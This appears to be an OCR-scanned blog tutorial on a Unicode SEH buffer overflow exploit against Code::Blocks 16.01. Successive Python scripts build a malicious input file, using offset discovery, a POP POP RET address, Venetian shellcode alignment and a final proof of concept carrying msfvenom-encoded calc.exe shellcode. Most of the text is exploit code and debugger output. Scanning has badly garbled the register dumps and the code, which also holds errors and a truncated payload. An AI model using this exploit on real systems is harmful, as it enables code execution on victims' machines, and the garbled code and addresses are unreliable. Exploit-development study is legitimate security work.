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Hello, everyone. I'1ll talk about Windows exploit development Unicode
today. I've seen that more people are asking me how to exploit
codeblocks, so I spent a few days researching how to do it myself at
https://www.exploit-db.com/exploits/46120. This is not a simple
subject, so I will do my best to describe it as well as I can. Since
nobody had previously tested this version, I decided not to exploit
codeblocks 17 for today but rather codeblocks 16. Downloads are
available from

https://sourceforge.net/projects/codeblocks/files/Binaries/16.01/Win
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dows/codeblocks-16.01-setup.exe/download. Remember that I found it
harder to exploit codeblock 16 than codeblock 17.

Let’s try to capitalize on this, then. Python skeleton creation.

000 Python

buffer= "A"x5000
f=open('exploit.txt','w")
f.write(buffer)

f.close()

print "[+] File create"

Now we add the content of exploit.txt via the (File > Class > Class name

> Create button.
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Directory File Line Text

Launch Immunity Debugger now to examine what took place inside. To

view the SEH address, use (ALT + S .
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5EH chain of main thread

SEH is overwrite

BOEERE44| BERBSE0E
BEGELZTE| ### CORRUFT ENTRY ###

By pressing (SHIFT + F9 once more, you can see that the EIP has been

overwritten.

Fegisters [(FFUI

ERx BEEEEBER

ECx 88418841 codebloc. @84 16641
EDy FPEFT2E0 ntdll.FPerv2en
EE¥ BEEaga0m

ESF BEZZBELS

EEF HEZZBESS

ESI BEEEARER

|EIP B8418842 podeb loc. 884166042

N Zbit BIFFFFFFFF)
F 1 C5 B881E 32bit BIFFFFFFFF]
B8 355 8823 32bit BIFFFFFFFF]
% é 0S5 BE23 32bit BLFFFFFFFE)
TG

FS BE3ZE 32bit FFFOF@@AIFFF]
55 BEEE HULL

What, EIP 1is only partially overwritten? Don’t worry; this occurs
because the program’s internal command (0x41 1is executed. It’'s time
to use ‘mona.py to determine the offset. Please visit another blog

section if you need help using mona.py.

000 Python

#//usr/bin/python

buffer="Aa0AalAa2Aa3AadAabAabAa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6AD7ADBAD9ACOACIAC2ACS)
f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."
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5EH chain of main thread

Oddeess | SF handler

BEZ20228| B2 1 BRCF
AR 2EE2E | BRARRR2Z

Imona po 316f4330

Offset is in SEH address

ECCEYEE2| [12:32:51] Aoccess wiolation when reading [ADEDADIA]
HEADFEE0 [+]1 Command used:

GEADFEE0| tmona po S16F43226

BBHDFBBD L,-\. Lo g o L [ T | HE X ) ' L by 4+

BERDFEE0 |
BBHDFBBD L LT =2} [eLalmlalals gy sy —

HEROFEE0| Look ing for 1oCH in pattern of SEEA0E butes

HEROFEE0| - Pattern 1oCA not found in cyclic pattern (uppercasel

HEAOFEE0| Look ing for BCol in pattern of SHEADE butes
HEROFEE0| Look ing for lolH in pattern of SHEADE butes
HEBADFEE0| — Pattern 1oCA not found in cyclic pattern [ lowercasel

We now have the correct offset. Let’s check to verify if this offset

is accurate. In Python, modify the skeleton once more.

00 Python

#//usr/bin/python

buffer= "A"x1982 #Buffer
buffer+="\x42\x42" #nSEH
buffer+="\x43\x43" #SEH
buffer+="\x44"%(5000-1en(buffer))

f=open('exploit.txt','w');
f.write(buffer);

f.close();
print "[+] File create."

Your nSEH will be visible if you enter content in the class name and

look in the immunity debugger in the SEH chain.
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SEH chain of main thread

codebloc. 88438643
39428942 45072484
Wi w## CORRUPT EMTRY ###

nSEH address overwrite

Now execute one step using (SHIFT + F9 to see if EIP is overwritten

BEAEEEEE

BE428842 codeb loc. BE42EE42
FREFFEE0 ntdl L. FFREFyzEn
BEEEEEEE

BEZZBELS

BEZZBESS

BEEEEEEE

IRIRIEICIEIEI K]

B8438843 codeb loc. 884386043

Eo DoeD Sooit BIrrrrrrrr]
CS 8alE 32bit BLFFFFFFFF)
S5 8823 32bit BIFFFFFFFF]
32bit BIFFFFFFFF]
FS BA3E 32bit FFFOEBBALFFF]
G5 B8E8 MHULL
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Finding the POP POP RET address for the exploit is now necessary,
and padding is added for alignment for nSEH
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I tested all the addresses and only one works (0x805560b3 , command

used to find the pop pop ret address (!mona seh -cp unicode .

00 Shell
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0x005500b3 : pop edi # pop ebp # ret 0x08 | startnull,unicode {PAGE_EXECUTE_READ,

Set a breakpoint on the POP POP RET address in the skelethon script
and modify it to observe how memory works. For breakpoint you can

use the next opcode (0xcc which is INT3 instruction.

000 Python

#//usr/bin/python

buffer= "A"x1982
buffer+="\x61\x62"
buffer+="\xb3\x55"
buffer+=("\xcc\xcc\xccl\xcc")
buffer+="\x44"%(5000-1en(buffer))

f=open('exploit.txt','w');
f.write(buffer);
f.close();

print "[+] File create."

Put your junk from the exploit.txt file aside and place a breakpoint
on the POP POP RET address (to set a breakpoint, press (F2).

cz
EL)
Els]

=¥
SEYC24 ac
SEE424 @2
CTHZ B0080E68E
S97A a4
’TI Cancel
:Add here POP POP RET address

HOT ECH
CHMP ECH, BFFFF

7Ol
FreedlzZB  21F9 FFFFEEGE0

Repeat this step until you see something similar.

POP EDOI
_______ = FOF EEFP
AESSEABBE  C2 B2E6
BECEEaES
AESEEAES  SOE426 AABEREER LE
AESSEACE  SESY 14 [0
BESEEACS  SE0E
BESEEACE 74 1A

w0
L]

H E
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You can see how this address works by clicking on it, pressing (F2,
putting your breakpoint inside codeblocks, and then pressing (SHIFT +

F9 . You must witness one such jump.

5 dwl 84488 : LEHR+ERX+44]1, AL
BEZZ0292  BE44EE : [EAX+EAX+44], AL
AEZZ0297  BE4406 : [EAX+EAX+44], AL
BEZZ039E  BE4466 : [ERH+ERAK+44], AL
BEZZ0OIIF  BE4466 : [EAX+ERAK+44], AL
BEZZ0OZAZ  BE44B6 : [ERAX+ERE+44], AL
BEZZ02A7  Ba4408 i [ERX+ERR+441, AL
AEZZ03AE  BE4468 : CEAR+EAK+44], AL
AEZZ03AF  BE44B8 : [EAR+ERK+44 ], AL
BEZZ0ZES  BE44E6 : [EAM+EAX+44], AL
BEZZ02ZEY  BE4406 : [EAX+EAX+44], AL
BEZZ0OZEE  BE4466 : [ERH+ERAK+44], AL
BEZZ0OIEF  BE4466 : [EAX+ERAK+44], AL
BEZZ0ICE  BE44B6 : [ERAX+ERE+44], AL
BEZZ02CT  Ba4408 i [ERX+ERR+441, AL
BEZZ03CE  BE4468 : CEAR+EAK+44], AL
AEZZ03CF  Ba44B8 : [EAR+ERK+44 ], AL
BEZZ0202  BE44EE : [EAM+EAX+44], AL
BEZZ0207  BE4466 : [EAX+EAX+44], AL
BEZZ0Z0E  BE4466 : [ERH+ERAK+44], AL
BEZZ0OZ0F  BE4466 : [EAX+ERAK+44], AL
BEZZ0OZES  BE44B6 : [ERAX+ERE+44], AL
BEZZ0ZEY 804408 i [ERX+ERR+441, AL
AEZZ03EE  BR4468 : [EAR+EAK+44]1, AL

If you notice that this half-exploit is complete, it implies that
the address is operational. It jumps after (0xcc/, which is
sufficient for the time being. Let’s move a little upward to examine

the debugger.

CPU - main thread

HEZ202E5  BE4l BE AOD BYTE PTR D5
BEZZ03EC 41
15} ACD EE;E FTR D5:[ECHI, AL

HEZEZ03F1 @E41

IMC ECH

AOD BYTE PTR DS:[ECA]1, AL
EEZZ037FC 4 IMC ECH N
- — it 30 - ETE D LECH \X61 Is POPAD address used in nSEH
EEZE0E33 FDD AH, CL \xcc\xec\xec\xce this is used for

2202l oEdl BE AODC BYTE PTR D5:
BEzZEZ0364 41 IHC ECH
aEaz20368 41 IMC ECH
HEZZ03e9  OE41 BE AOD BYTE PTR O5: [ECH]1,HL
IMC ECH
HEzz03e0 D@41
aazz03va 41 IHC
[]5) ACD BYTE PTR D5:[ECH].AL

HE2202374 41
BEZ20375 BE
EEzz037a 4 IMC ECH
BEZ20373 BE AOD BYTE PTR DS:
] | £ = o FIe O
HEzZZ20334 MOU BL, B
] [oo e = = =
AEZ20327 AODC AH, CL
BEZ20356 AODC AH, CL
HEE2[ 18] Hoo EH H i

s AT e e T TI ST TR +ERN +441, AL breakpoint , but we succesfull jump
BE44EE 44 ACD _BYTE PTR DO5: [EAR+EAK+44], AL

Venetian shellcode is what we need right now because everything is
kept in ECX, therefore we need to extract it and put it in EAX.
Let’s add a few commands to the venetian shellcode and observe what
happens (don’t forget to press (SHIFT + F9 each time you run your
EVAGELDR

00 Python
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#//usr/bin/python

buffer= "A"%x1982
buffer+="\x61\x62"
buffer+="\xb3\x55"

#Venetian Shellcode

buffer+="\x51"
buffer+="\x42"
buffer+="\x58"
buffer+="\x42"

buffer+=("\xcc\xcc\xcc\xcc")
buffer+="\x44"*(5000-1en(buffer))

f=open('exploit.txt',"
f.write(buffer);
f.close();

w');

print "[+] File create."

#POP ECX is the register where shellcode is clo
#Venetian padding

#POP EAX and put ECX into EAX

#Venetian padding

If you can see, we have

opcode

HEZZ2037E 41 IHC ECH
BEZ220371  BE41 B8 AOD BYTE PTR DS: [ECH],AL
BEZzZ0374 41 IMC ECH
BEZZ0O3FE  B041 BB AOO BYTE PTR DOS5: CECK],AL
BEZZ037E 41 IMC ECH
BEZZ0379 6041 OB AOO BYTE PTR DO5:[ECK],AL
BEZZ203FC 41 IMC ECH
HEZZ20370  BE41 BE HOO BYTE PTR DS: [ECH],AL
BEZ220380 &1 FOFAD
EEZZ0O3E]  B0sZ2 BE AODOD EYTE FTR DS: CEDHI, AH
BBzzDSE4 B3 0 oy BL.o
BEZZ0337 6051 o6 AOO BYTE PTR D5:CECK],.O0OL
BEZZ033H 42 IHC EDOX
HEZ2Z2033E BU5E OQ AOO BYTE PTR DS:[CERX],EBEL
[=e 5 THE F
L5 KL HOD' HH,. CL
BEzz0E91 BEcc ADD AH, CL
BEZZ0392  BOCC AOD AH,. EL
HEZ 20335 AOD AH. EL
"""" B0d4nn 44 ADD BYTE PTR DSt EAK+EAK+441, AL

0x51 ) added to (ADD BYTE PTR DS:[ECX],DL ),

which is fine because the following instruction is (0x42 and we

don’t just have opcode (0x51 there. I added this so as not to

interfere with (0x58 ), which is inserted at the same time as (0x51 . As

you can see, there is currently no value in the EAX register, so we

must add and deduct valuation from ECX. Let’s add more coding

instructions.

Python
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#//usr/bin/python
buffer= "A"x1982
buffer+="\x61\x62"

buffer+="\xb3\x55"

#Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcol
buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX

buffer+="\x42" #Venetian padding

buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42"

buffer+=("\xcc\xcc\xccl\xcec")
buffer+="\x44"%x(5000-T1en(buffer))
f=open('exploit.txt','w');
f.write(buffer);

f.close();

print "[+] File create."

gEzz0ze4 B2 B8 Moy BL, &
BEZ20386 55 FUSH _EEF
BEZ20357 @851 a8 HOD BYTE PTR DS:[ECH1, 0L
BEZZ02EH 42 IHC EDX
BBEEDSSB BEES 1] [2[]u] EVTE PTR DS:CEAX],EL

""" EBBE BBEEBBII EVTE PTH DS EIIBEEBBE] AL

EBEEDB‘BS ED IE’IEll?EiElll SUE EFIH 11991?99
BEZZ0320 @842 88 AOD0 BYTE FTR DS: CED®T, AL
BEZZ03HE  CC INTZ

BEZZ02H1  BECC ADD AH, CL

BEZ202HS  BECC DD AH, CL

BEZZ02AS  BAECC ADD AH, CL

nnnnnnnn A A A4 ARE FTE RTE . FEEL G T A AT o

Where the heck is the add instruction? This Venetian shellcode error
can be fixed by adding additional “Venetian padding” before the (ADD
EAX instruction, as you can see.

00 Python
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#//usr/bin/python
buffer= "A"x1982
buffer+="\x61\x62"

buffer+="\xb3\x55"

#Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcoi
buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX

buffer+="\x42" #Venetian padding

buffer+="\x42" #Venetian padding -—— here i put one more
buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42"

buffer+=("\xcc\xcc\xccl\xcc")
buffer+="\x44"*(5000-T1en(buffer))
f=open('exploit.txt','w');
f.write(buffer);

f.close();

print "[+] File create."

Now let’s go in Debugger to see what happened.

BEZZ023F @RSl GE ADD BVTE PTR DS:[ECXI, DL
BEZZ022A 42 IHC

BEzz022E  @Ess oo [ [] B?TE FTR DS:[EARRI,EL
BBEEDBBE 42 C EDH

BBEEDSBH
BEZ2039F
B2 202A2

L] r
SUB EHH 11@81?@8
?H?SBVTE PTR DS:[CEDXI,AL

cC
ELNE HOD AH,.CL

Now that the execution of (ADD AH,CL has been halted, we can run 100h
of code. Now, in order to jump to shellcode, we must apply the
operations (PUSH EAX ) opcode (0x50) and ret (0xc3 ).

000 Python
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#//usr/bin/python
buffer= "A"x1982
buffer+="\x61\x62"

buffer+="\xb3\x55"

#Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcoi
buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX
buffer+="\x42" #Venetian padding

buffer+="\x42" #Venetian padding -—— here i put one more
buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42" #Venetian paddin

buffer+="\x50" #PUSH EAX

buffer+="\x42" #Venetian padding

buffer+="\xc3" #RETN

buffer+=("\xcc\xcc\xccl\xcec")
buffer+="\x44"%x(5000-T1en(buffer))
f=open('exploit.txt','w');
f.write(buffer);

f.close();

print "[+] File create."

Copy all the junk into CodeBlocks.

CPU - main thread
BEZELE0E  HES4EE 44 BILIC YT PTR [5: LER+ER+41, AL » Bonizrars rEBI o< e << < < < < < < < <
BEZEOSOF  E4ADD dd FOO BYTE PTR DS: [ERY+ ; o
GDEZDSDF Bhqdno od A0 ENTE BTR De:LERN A2 aezand 1©_UNLCOE ~0fn00000000000000 00000 oD Do e e 00 00 0000000000 DD D e D e DB B e o000 0O 0CC000000000000
BABEOSET  Apeddn A i ET eeeEeae
A3 - i | A o nrdl L Kilntsystentall
GEZEOSFE  EM4E 44 FO0 BYTE PTR D5: [ERX+ERR+4410 A 42
FO0 BYTE PTR D51 [ERR+ER
ADD BYTE PTR DS: CEAN+ERN+44 ], Al 5 preifeen nedll.7rerizean
BE4400 44 FO0 BYTE P AL
BaaEE 44 fon BYTE P EIF BBZE041D
nnnnnnnnnnnnnnnn onn BWTE BTE MS a1%on ST L

It’s good that we moved everything from ECX inside of EAX. We need
to determine the precise NOPs before the shellcode, so let’s check
where to start the DDDD.
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BE2z202AS  BECCABCT

IF « |F < o——
BEEZZ0OZAC  BRCCEBCT |F.0r.
EEzZ02EE  Anddaiadd 0.0, codebloc. B8d4d4@E4
BEzz02B4  And44@6844 0.0, codebloc. 88440844
BEzZZ202BE  Abd44@644 0.0, codebloc. 88446844
BEz202EC  And448644 0.0, codebloc.88d44b@44
BEzz02CcA  aEd4aAa44 0.0, codebloc. Bad448044
aEzz0acd aodd@dd4d 0.0, codebloc. B844@@d4
BEzz02CE  apdd4aBdd 0.0, codebloc. 88440844
EEz202CC apddaadd 0.0, codebloc. B8d44EE4
EEzz020E  anddaadd 0.0, codebloc. B8d4d4@E4
BaEzz0z04  and4d4aadd 0.0, codebloc. 88440844
BEzz0208  and4d4@644 0.0, codebloc. 88446844
BEzz0z0c and44a644 0.0, codebloc. 898440844
BEZ202ER  BEd44@A44 0.0, codebloc. 8448044
BEzz02E4  @aodd@dd4d4 0.0, codebloc. B844@@d4
BEzZ02ES  Bpdd4aB44 0.0, codebloc. 88440844
BEZZ0ZEC  ApddEEdd 0.0, codebloc. B8d44@E4

The address where D begins 1s (0x0022D3A8 . Let’s now examine EAX's

value.

ERX Ba22041C UMICODE ""DOODOODDDDOODODOODOOO

| e oy o e 2

ED BE2ZEBFAZ

EBx 7revvled ntdll.kilntSwstemCall
ESF BE2ZEE49

EEF BE2Z022@

ESI PPevv280 ntdll.77eyy2a0

EDI @8az2z202ae

EIF @8azzD410

Address for EAX is (0x0022D41C .

We now need to perform a quick math operation: (0x0022D3A8 - 0x0022D41C
= 78h ) (decimal (-116)) followed by (116/2 = 58 . I'm done now. Rewrite

the script once more.

00 Python
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#//usr/bin/python

buffer= "A"%x1982
buffer+="\x61\x62"
buffer+="\xb3\x55"

#Venetian shellcode

buffer+="\x51"
buffer+="\x42"
buffer+="\x58"
buffer+="\x42"
buffer+="\x42"

buffer+="\x05\x28\x11"

buffer+="\x42"

buffer+="\x2d\x13\x11"

buffer+="\x42"
buffer+="\x50"
buffer+="\x42"
buffer+="\xc3"

buffer+="\x90"x58
buffer+=("\xcc\xcc\xccl\xcec")
buffer+="\x44"%x(5000-T1en(buffer))
f=open('exploit.txt','w');

f.close();

print "[+] File create."

First, the address

that location.

f.write(buffer);

#POP EBX is the register closest to our shellcol
#Venetian padding

#POP EAX and put ECX into EAX

#Venetian padding

#Venetian padding -—— here i put one more
#ADD EAX, 0x11002800

#Venetian padding

#SUB EAX, 0x11001300

#Venetian padding

#PUSH EAX

#Venetian padding

#RETN

HEZ203FC BE9EE8E9E E.£. dbghelp. HE9EHESE
HE220486 BE9E8E98 £.£. dbghelp.OE9E0E9E
BEZZ0484  BEIEEE9E £.£. dbghe lp. DE988E26
HEZ220482 BE%880°98 E.£. dbghelp. DE2E0E2E
BEZZ2048C BEYEEE98 E.£. dbghelp. BEZE0EZA
HEZ220410 BE9EEE9E E.£. dbghelp.DE9E0ESE
HE220414 BE9EEE9E E.£. dbghelp. DEFE0EZEA
Lo L A R AR ey dEghi = Lo HESERESA
HE22041C  BACCHAECC [F. [F.

HE LIsF 2k F1E] F1E] Falls

aEzZz0424  Bad44@844 0,00 codeb loc. @844 0834
bEZ220422 B@448844 0.0. codebloc. B8d4BE44
BEZ22042C 88448844 0.0. codebloc. 88448844
HEZ220430 B8d4486844 0.0. codebloc. B8d4EE44
HE220434 B@a448844 0.0. codebloc. 88448844
HE220432 B@84486844 0.0. codebloc. 88448844
HE22043C BAa4486844 0O.0. codebloc. 88448844
GUZ20448 80440044 D.0. codeb oo 08440044

stopped at (Oxcc/; now let’s write shellcode at
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- $ msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_upper BufferRegister=EAX
[-] No platform was selected, choosing Msf ::Module:: Platform:: Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/unicode_upper

x86/unicode_upper succeeded with size 517 (iteration=e0)

x86/unicode_upper chosen with final size 517

Payload size: 517 bytes

Final Poc.

000 Python

#//usr/bin/python
buffer= "A"x1982
buffer+="\x61\x62"

buffer+="\xh3\x55"

#-Venetian shellcode

buffer+="\x51" #POP EBX is the register closest to our shellcol
buffer+="\x42" #Venetian padding

buffer+="\x58" #POP EAX and put ECX into EAX
buffer+="\x42" #Venetian padding

buffer+="\x42" #Venetian padding --- here 1 put one more
buffer+="\x05\x28\x11" #ADD EAX, 0x11002800

buffer+="\x42" #Venetian padding

buffer+="\x2d\x13\x11" #SUB EAX, 0x11001300

buffer+="\x42" #Venetian padding

buffer+="\x50" #PUSH EAX

buffer+="\x42" #Venetian padding

buffer+="\xc3" #RETN

buffer+="\x90"x58

#Calc.exe shellcode
buffer+="PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPASAAAPAZIATI1AIAIAJ11AIAIL/
buffer+="\x44"%(5000-1en(buffer))

f=open('exploit.txt','w');

f.write(buffer);

f.close();

print "[+] File create."
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https://www.corelan.be/index.php/2009/11/06/exploit-writing-
tutorial-part-7-unicode-from-0x00410041-to-calc/

http://www.fuzzysecurity.com/tutorials/expDev/5.html

https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf

http://lilxam.tuxfamily.org/blog/?p=259&lang=en

https://www.securitysift.com/windows-exploit-development-part-7-

unicode-buffer-overflows/
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Further Reading

Jan 10, 2019
WINDOWS EXPLOIT DEVELOPMENT PART |

Setup Environment Hello everyone. Today, I will show you how to use WinDbg and
Immunity Debugger to make a buffer overflow. I'1l pay more attention to WinDbg..

Jan 16, 2019
WINDOWS EXPLOIT DEVELOPMENT PART Il

Windows Exploit Development Part II Hello everyone. Today, I'll show you the
different skills you need to create exploits. In this section, I'1l talk more..

Jan 18, 2019
WINDOWS EXPLOIT DEVELOPMENT PART Il

SEH Handler mechanism behind the application Hello everyone. I’'1l be talking
about Windows Exploit Development SEH today. The second flaw I found was in..

OLDER NEWER
Windows Exploit Development Part Volatility: Extract Password
VI from RAM
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